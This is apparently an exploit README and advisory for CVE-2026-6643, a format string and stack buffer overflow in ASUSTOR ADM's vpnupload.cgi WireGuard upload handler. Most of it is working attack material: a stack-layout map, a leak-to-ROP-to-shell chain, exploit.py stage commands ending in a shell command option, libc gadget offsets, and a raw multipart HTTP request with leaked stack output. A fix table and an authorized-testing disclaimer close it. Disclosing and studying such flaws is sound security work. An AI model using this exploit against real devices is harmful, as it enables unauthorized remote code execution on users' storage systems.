
ASUSTOR ADM 5.1.2 vpnupload.cgi Format String & Stack Buffer Overflow RCE (CVE-2026-6643)
Format String (CWE-134) + Stack Buffer Overflow (CWE-121) in vpnupload.cgi
| Field | Value |
|---|---|
| Product | ASUSTOR ADM (ASUSTOR Data Master) |
| Affected Version | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Component | /portal/apis/settings/vpnupload.cgi — upload_wireguard action |
| Vulnerability Type | CWE-134 Format String / CWE-121 Stack Buffer Overflow |
| Severity | High |
| Auth Required | Yes (valid Revive_Session cookie) |
| Discovery Date | 2026-03-14 |
The upload_wireguard handler parses a WireGuard config file, assembles the fields into a JSON object, then passes the result directly as the format string argument to printf():
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
An attacker can embed printf format specifiers in any WireGuard config field:
%x / %p — read stack memory (information leak)%n — write to arbitrary memory (code execution via GOT overwrite)The same handler uses unbounded sscanf("%s") to copy config values into 300-byte stack buffers, while fgets accepts up to 32,768 bytes per line:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
Supplying more than 300 bytes overflows into adjacent buffers. At 4,000 bytes the saved RIP is corrupted, causing SIGSEGV.
| Protection | Status | Impact |
|---|---|---|
| FORTIFY_SOURCE | Disabled | printf (not __printf_chk) — %n write works |
| Stack Canary | Disabled | No canary leak required |
| PIE | Disabled | GOT and gadget addresses are static |
| RELRO | Partial | GOT is writable |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164 (the Endpoint buffer) sits at rbp-0x164, the closest of the eight buffers to the saved return address:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
sscanf("%s") stops copying at a null byte. A libc address (0x7f...) in little-endian ends with two null bytes. However, the upper two bytes of any saved RIP already hold 0x0000, so the write lands correctly even though sscanf terminates early:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
All intermediate ROP gadgets must also come from libc (0x7f... range) to avoid embedded null bytes. Only the final value in the chain may terminate with nulls.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
Example output:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
Example output:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
Identify the symbol and compute libc base:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
Extract libc.so.6 from the firmware image, then run:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
Update the constants in exploit.py:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
Note: Two multipart sections are required. The parser uses a boundary counter;
sscanfparsing activates only on the second section.
Response (clientprivatekey field):
AAAA_feebd19f_0000012b_0000007d_00000002
Set PrivateKey to 4,000 bytes → SIGSEGV (exit code 139).
| Vulnerability | Fix |
|---|---|
| Format String | Replace printf(pcVar2) with printf("%s", pcVar2) or fputs(pcVar2, stdout) |
| Buffer Overflow | Add length limits to all sscanf format strings (e.g. %299s for 300-byte buffers) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi extracted from imageld-linux and shared librariesje → jmp at offset 0x1224 (local testing only)This exploit is provided for security research and authorized testing only. Do not use against systems without explicit permission.